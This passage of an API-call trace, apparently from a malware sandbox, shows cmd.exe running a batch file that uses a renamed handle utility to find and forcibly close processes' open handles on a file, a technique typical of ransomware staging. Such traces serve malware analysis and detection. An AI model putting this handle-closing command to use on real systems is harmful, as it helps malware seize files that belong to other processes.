dwFlags=0x0, lpMem=0x451140 | out: hHeap=0x450000) returned 1 [0076.426] _get_osfhandle (_FileHandle=3) returned 0x78 [0076.426] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0076.426] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x18f0b0, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x18f0b0*=0x94, lpOverlapped=0x0) returned 1 [0076.426] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=148, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="FOR /F \"UseBackQ Tokens=3,6 delims=: \" %%I IN (`bv6ncK8c.exe -accepteula %FN% -nobanner`) DO (bv6ncK8c.exe -accepteula -c %%J -y -p %%I -nobanner)\r\n") returned 148 [0076.426] _get_osfhandle (_FileHandle=3) returned 0x78 [0076.426] GetFileType (hFile=0x78) returned 0x1 [0076.426] _get_osfhandle (_FileHandle=3) returned 0x78 [0076.426] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0076.426] GetProcessHeap () returned 0x450000 [0076.426] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x400a) returned 0x474aa8 [0076.427] GetProcessHeap () returned 0x450000 [0076.427] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4008) returned 0x478ac0 [0076.427] GetProcessHeap () returned 0x450000 [0076.427] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xe) returned 0x450d38 [0076.427] GetEnvironmentVariableW (in: lpName="FN", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="\"blank.jtp\"") returned 0xb [0076.427] GetProcessHeap () returned 0x450000 [0076.427] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x450d38 | out: hHeap=0x450000) returned 1 [0076.427] GetProcessHeap () returned 0x450000 [0076.427] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x478ac0 | out: hHeap=0x450000) returned 1 [0076.427] GetProcessHeap () returned 0x450000 [0076.427] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x474aa8 | out: hHeap=0x450000) returned 1 [0076.430] _tell (_FileHandle=3) returned 226 [0076.430] _close (_FileHandle=3) returned 0 [0076.430] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x18ee84 | out: _Buffer="\r\n") returned 2 [0076.430] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.430] GetFileType (hFile=0x7) returned 0x2 [0076.431] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0076.431] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18ee44 | out: lpMode=0x18ee44) returned 1 [0076.431] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.431] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x18ee70, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x18ee70*=0x2) returned 1 [0076.432] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0076.432] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0076.432] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x18ee80 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0076.433] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x18ee80 | out: _Buffer=">") returned 1 [0076.433] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.433] GetFileType (hFile=0x7) returned 0x2 [0076.433] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0076.433] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18ee48 | out: lpMode=0x18ee48) returned 1 [0076.433] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.433] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x18ee74, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x18ee74*=0x26) returned 1 [0076.434] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%.3s", _ArgList=0x18f104 | out: _Buffer="FOR") returned 3 [0076.434] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.434] GetFileType (hFile=0x7) returned 0x2 [0076.434] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0076.434] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18f0c4 | out: lpMode=0x18f0c4) returned 1 [0076.434] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.434] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x18f0f0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x18f0f0*=0x3) returned 1 [0076.435] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s", _ArgList=0x18f104 | out: _Buffer=" /F") returned 3 [0076.435] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.435] GetFileType (hFile=0x7) returned 0x2 [0076.435] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0076.435] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18f0c4 | out: lpMode=0x18f0c4) returned 1 [0076.435] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.435] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x18f0f0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x18f0f0*=0x3) returned 1 [0076.436] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s", _ArgList=0x18f104 | out: _Buffer=" \"UseBackQ Tokens=3,6 delims=: \"") returned 32 [0076.436] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.436] GetFileType (hFile=0x7) returned 0x2 [0076.436] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0076.436] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18f0c4 | out: lpMode=0x18f0c4) returned 1 [0076.436] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.436] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x20, lpNumberOfCharsWritten=0x18f0f0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x18f0f0*=0x20) returned 1 [0076.436] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s ", _ArgList=0x18f104 | out: _Buffer=" %I IN ") returned 7 [0076.437] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.437] GetFileType (hFile=0x7) returned 0x2 [0076.437] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0076.437] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18f0c4 | out: lpMode=0x18f0c4) returned 1 [0076.437] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.437] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x18f0f0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x18f0f0*=0x7) returned 1 [0076.439] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="(%s) %s ", _ArgList=0x18f100 | out: _Buffer="(`bv6ncK8c.exe -accepteula \"blank.jtp\" -nobanner`) DO ") returned 54 [0076.439] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.439] GetFileType (hFile=0x7) returned 0x2 [0076.439] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0076.439] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18f0c0 | out: lpMode=0x18f0c0) returned 1 [0076.439] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.439] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x36, lpNumberOfCharsWritten=0x18f0ec, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x18f0ec*=0x36) returned 1 [0076.440] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.440] GetFileType (hFile=0x7) returned 0x2 [0076.440] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0076.440] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18f0cc | out: lpMode=0x18f0cc) returned 1 [0076.440] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.440] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab3bd04*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x18f0f8, lpReserved=0x0 | out: lpBuffer=0x4ab3bd04*, lpNumberOfCharsWritten=0x18f0f8*=0x1) returned 1 [0076.441] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.441] GetFileType (hFile=0x7) returned 0x2 [0076.441] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0076.441] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18f0b0 | out: lpMode=0x18f0b0) returned 1 [0076.441] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.441] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x451250*, nNumberOfCharsToWrite=0xc, lpNumberOfCharsWritten=0x18f0dc, lpReserved=0x0 | out: lpBuffer=0x451250*, lpNumberOfCharsWritten=0x18f0dc*=0xc) returned 1 [0076.442] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x18f0e8 | out: _Buffer=" -accepteula -c %J -y -p %I -nobanner ") returned 38 [0076.442] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.442] GetFileType (hFile=0x7) returned 0x2 [0076.442] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0076.442] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18f0a8 | out: lpMode=0x18f0a8) returned 1 [0076.442] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.442] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x18f0d4, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x18f0d4*=0x26) returned 1 [0076.444] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x18f104 | out: _Buffer=") ") returned 2 [0076.444] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.444] GetFileType (hFile=0x7) returned 0x2 [0076.444] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0076.444] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18f0c4 | out: lpMode=0x18f0c4) returned 1 [0076.444] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.444] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x18f0f0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x18f0f0*=0x2) returned 1 [0076.445] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x18f124 | out: _Buffer="\r\n") returned 2 [0076.445] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.445] GetFileType (hFile=0x7) returned 0x2 [0076.445] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0076.445] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18f0e4 | out: lpMode=0x18f0e4) returned 1 [0076.445] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.445] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x18f110, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x18f110*=0x2) returned 1 [0076.446] GetProcessHeap () returned 0x450000 [0076.447] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x2c) returned 0x466288 [0076.447] GetProcessHeap () returned 0x450000 [0076.447] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xc) returned 0x450d38 [0076.447] GetProcessHeap () returned 0x450000 [0076.447] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xc) returned 0x450d50 [0076.447] GetProcessHeap () returned 0x450000 [0076.447] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xe) returned 0x450d68 [0076.447] _wcsnicmp (_String1="UseBackQ", _String2="usebackq", _MaxCount=0x8) returned 0 [0076.447] _wcsnicmp (_String1="Tokens=3", _String2="usebackq", _MaxCount=0x8) returned -1 [0076.447] _wcsnicmp (_String1="Tokens=", _String2="useback", _MaxCount=0x7) returned -1 [0076.447] _wcsnicmp (_String1="Toke", _String2="eol=", _MaxCount=0x4) returned 15 [0076.447] _wcsnicmp (_String1="Tokens=", _String2="delims=", _MaxCount=0x7) returned 16 [0076.447] _wcsnicmp (_String1="Token", _String2="skip=", _MaxCount=0x5) returned 1 [0076.447] _wcsnicmp (_String1="Tokens=", _String2="tokens=", _MaxCount=0x7) returned 0 [0076.447] wcstol (in: _String="3,6 delims=: \"", _EndPtr=0x18f040, _Radix=0 | out: _EndPtr=0x18f040*=",6 delims=: \"") returned 3 [0076.447] wcstol (in: _String="6 delims=: \"", _EndPtr=0x18f040, _Radix=0 | out: _EndPtr=0x18f040*=" delims=: \"") returned 6 [0076.447] _wcsnicmp (_String1="delims=:", _String2="usebackq", _MaxCount=0x8) returned -17 [0076.447] _wcsnicmp (_String1="delims=", _String2="useback", _MaxCount=0x7) returned -17 [0076.447] _wcsnicmp (_String1="deli", _String2="eol=", _MaxCount=0x4) returned -1 [0076.447] _wcsnicmp (_String1="delims=", _String2="delims=", _MaxCount=0x7) returned 0 [0076.447] GetProcessHeap () returned 0x450000 [0076.447] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x450d68 | out: hHeap=0x450000) returned 1 [0076.447] GetProcessHeap () returned 0x450000 [0076.447] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xe) returned 0x450d68 [0076.447] GetProcessHeap () returned 0x450000 [0076.447] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x450d38, Size=0xe) returned 0x450d80 [0076.447] GetProcessHeap () returned 0x450000 [0076.447] RtlSizeHeap (HeapHandle=0x450000, Flags=0x0, MemoryPointer=0x450d80) returned 0xe [0076.447] GetProcessHeap () returned 0x450000 [0076.447] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x450d50, Size=0x14) returned 0x4662c0 [0076.447] GetProcessHeap () returned 0x450000 [0076.448] RtlSizeHeap (HeapHandle=0x450000, Flags=0x0, MemoryPointer=0x4662c0) returned 0x14 [0076.448] _wpopen (_Command="bv6ncK8c.exe -accepteula \"blank.jtp\" -nobanner", _Mode="rb") returned 0x76be2960 [0076.694] feof (_File=0x76be2960) returned 0 [0076.694] ferror (_File=0x76be2960) returned 0 [0076.694] GetProcessHeap () returned 0x450000 [0076.694] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x108) returned 0x4662e0 [0076.694] fgets (in: _Buf=0x4662e8, _MaxCount=256, _File=0x76be2960 | out: _Buf="Unable to extract x64 image. Run Handle from a writeable directory.\r\r\n", _File=0x76be2960) returned="Unable to extract x64 image. Run Handle from a writeable directory.\r\r\n" [0080.504] feof (_File=0x76be2960) returned 0 [0080.504] ferror (_File=0x76be2960) returned 0 [0080.504] GetProcessHeap () returned 0x450000 [0080.504] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4662e0, Size=0x208) returned 0x4662e0 [0080.504] GetProcessHeap () returned 0x450000 [0080.504] RtlSizeHeap (HeapHandle=0x450000, Flags=0x0, MemoryPointer=0x4662e0) returned 0x208 [0080.504] fgets (in: _Buf=0x46632e, _MaxCount=442, _File=0x76be2960 | out: _Buf="\r\r\n", _File=0x76be2960) returned="\r\r\n" [0080.504] feof (_File=0x76be2960) returned 0 [0080.504] ferror (_File=0x76be2960) returned 0 [0080.504] GetProcessHeap () returned 0x450000 [0080.504] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4662e0, Size=0x308) returned 0x4662e0 [0080.504] GetProcessHeap () returned 0x450000 [0080.505] RtlSizeHeap (HeapHandle=0x450000, Flags=0x0, MemoryPointer=0x4662e0) returned 0x308 [0080.505] fgets (in: _Buf=0x466331, _MaxCount=695, _File=0x76be2960 | out: _Buf="", _File=0x76be2960) returned 0x0 [0081.681] _pclose (in: _File=0x76be2960 | out: _File=0x76be2960) returned 1 [0081.682] GetProcessHeap () returned 0x450000 [0081.682] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4662e0, Size=0x9e) returned 0x4662e0 [0081.682] GetProcessHeap () returned 0x450000 [0081.682] RtlSizeHeap (HeapHandle=0x450000, Flags=0x0, MemoryPointer=0x4662e0) returned 0x9e [0081.682] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x466331, cbMultiByte=73, lpWideCharStr=0x4662e8, cchWideChar=73 | out: lpWideCharStr="Unable to extract x64 image. Run Handle from a writeable directory.\r\r\n\r\r\n") returned 73 [0081.683] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x18ed34 | out: _Buffer="\r\n") returned 2 [0081.683] _get_osfhandle (_FileHandle=1) returned 0x7 [0081.683] GetFileType (hFile=0x7) returned 0x2 [0081.683] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0081.683] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18ecf4 | out: lpMode=0x18ecf4) returned 1 [0081.683] _get_osfhandle (_FileHandle=1) returned 0x7 [0081.683] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x18ed20, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x18ed20*=0x2) returned 1 [0081.685] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0081.685] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x18ed30 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0081.685] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x18ed30 | out: _Buffer=">") returned 1 [0081.685] _get_osfhandle (_FileHandle=1) returned 0x7 [0081.685] GetFileType (hFile=0x7) returned 0x2 [0081.685] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0081.685] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18ecf8 | out: lpMode=0x18ecf8) returned 1 [0081.686] _get_osfhandle (_FileHandle=1) returned 0x7 [0081.686] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x18ed24, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x18ed24*=0x26) returned 1 [0081.686] _get_osfhandle (_FileHandle=1) returned 0x7 [0081.686] GetFileType (hFile=0x7) returned 0x2 [0081.686] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0081.686] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18ef7c | out: lpMode=0x18ef7c) returned 1 [0081.687] _get_osfhandle (_FileHandle=1) returned 0x7 [0081.687] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab3bd04*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x18efa8, lpReserved=0x0 | out: lpBuffer=0x4ab3bd04*, lpNumberOfCharsWritten=0x18efa8*=0x1) returned 1 [0081.687] _get_osfhandle (_FileHandle=1) returned 0x7 [0081.687] GetFileType (hFile=0x7) returned 0x2 [0081.687] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0081.687] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18ef60 | out: lpMode=0x18ef60) returned 1 [0081.687] _get_osfhandle (_FileHandle=1) returned 0x7 [0081.687] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x474ab0*, nNumberOfCharsToWrite=0xc, lpNumberOfCharsWritten=0x18ef8c, lpReserved=0x0 | out: lpBuffer=0x474ab0*, lpNumberOfCharsWritten=0x18ef8c*=0xc) returned 1 [0081.688] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x18ef98 | out: _Buffer=" -accepteula -c Run -y -p extract -nobanner ") returned 44 [0081.688] _get_osfhandle (_FileHandle=1) returned 0x7 [0081.688] GetFileType (hFile=0x7) returned 0x2 [0081.688] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0081.688] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18ef58 | out: lpMode=0x18ef58) returned 1 [0081.689] _get_osfhandle (_FileHandle=1) returned 0x7 [0081.689] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2c, lpNumberOfCharsWritten=0x18ef84, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x18ef84*=0x2c) returned 1 [0081.690] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x18efb4 | out: _Buffer=") ") returned 2 [0081.690] _get_osfhandle (_FileHandle=1) returned 0x7 [0081.690] GetFileType (hFile=0x7) returned 0x2 [0081.690] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0081.690] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18ef74 | out: lpMode=0x18ef74) returned 1 [0081.691] _get_osfhandle (_FileHandle=1) returned 0x7 [0081.691] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x18efa0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x18efa0*=0x2) returned 1 [0081.691] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x18efd4 | out: _Buffer="\r\n") returned 2 [0081.691] _get_osfhandle (_FileHandle=1) returned 0x7 [0081.691] GetFileType (hFile=0x7) returned 0x2 [0081.691] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0081.691] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18ef94 | out: lpMode=0x18ef94) returned 1 [0081.692] _get_osfhandle (_FileHandle=1) returned 0x7 [0081.692] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x18efc0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x18efc0*=0x2) returned 1 [0081.693] GetConsoleTitleW (in: lpConsoleTitle=0x18eae4, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0081.693] GetConsoleTitleW (in: lpConsoleTitle=0x18e878, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0081.693] InitializeProcThreadAttributeList (in: lpAttributeList=0x18e700, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x18e7c8 | out: lpAttributeList=0x18e700, lpSize=0x18e7c8) returned 1 [0081.693] UpdateProcThreadAttribute (in: lpAttributeList=0x18e700, dwFlags=0x0, Attribute=0x60001, lpValue=0x18e7c0, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x18e700, lpPreviousValue=0x0) returned 1 [0081.694] GetStartupInfoW (in: lpStartupInfo=0x18e6bc | out: lpStartupInfo=0x18e6bc*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0081.716] CloseHandle (hObject=0x84) returned 1 [0081.717] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0081.717] GetProcessHeap () returned 0x450000 [0081.717] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x467f30 | out: hHeap=0x450000) returned 1 [0081.717] GetEnvironmentStringsW () returned 0x466b80* [0081.717] GetProcessHeap () returned 0x450000 [0081.717] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xb7a) returned 0x467f30 [0081.717] FreeEnvironmentStringsW (penv=0x466b80) returned 1 [0081.717] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) returned 0x0 [0085.978] GetExitCodeProcess (in: hProcess=0x74, lpExitCode=0x18e69c | out: lpExitCode=0x18e69c*=0x0) returned 1 [0085.978] CloseHandle (hObject=0x74) returned 1 [0085.978] _vsnwprintf (in: _Buffer=0x18e7e4, _BufferCount=0x13, _Format="%08X", _ArgList=0x18e6a8 | out: _Buffer="00000000") returned 8 [0085.978] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0085.978] GetProcessHeap () returned 0x450000 [0085.978] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x467f30 | out: hHeap=0x450000) returned 1 [0085.979] GetEnvironmentStringsW () returned 0x466b80* [0085.979] GetProcessHeap () returned 0x450000 [0085.979] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xb7a) returned 0x467f30 [0085.979] FreeEnvironmentStringsW (penv=0x466b80) returned 1 [0085.979] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0085.979] GetProcessHeap () returned 0x450000 [0085.979] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x467f30 | out: hHeap=0x450000) returned 1 [0085.979] GetEnvironmentStringsW () returned 0x466b80* [0085.979] GetProcessHeap () returned 0x450000 [0085.979] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xb7a) returned 0x467f30 [0085.979] FreeEnvironmentStringsW (penv=0x466b80) returned 1 [0085.979] GetProcessHeap () returned 0x450000 [0085.979] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x450d50 | out: hHeap=0x450000) returned 1 [0085.979] DeleteProcThreadAttributeList (in: lpAttributeList=0x18e700 | out: lpAttributeList=0x18e700) [0085.979] _get_osfhandle (_FileHandle=1) returned 0x7 [0085.979] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0085.980] _get_osfhandle (_FileHandle=1) returned 0x7 [0085.980] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0085.980] _get_osfhandle (_FileHandle=0) returned 0x3 [0085.980] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0085.980] SetConsoleInputExeNameW () returned 0x1 [0085.980] GetConsoleOutputCP () returned 0x1b5 [0085.980] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0085.980] SetThreadUILanguage (LangId=0x0) returned 0x409 [0085.981] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18f0cc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0085.981] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0085.981] _get_osfhandle (_FileHandle=3) returned 0x74 [0085.981] SetFilePointer (in: hFile=0x74, lDistanceToMove=226, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0085.981] GetProcessHeap () returned 0x450000 [0085.981] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4668f8 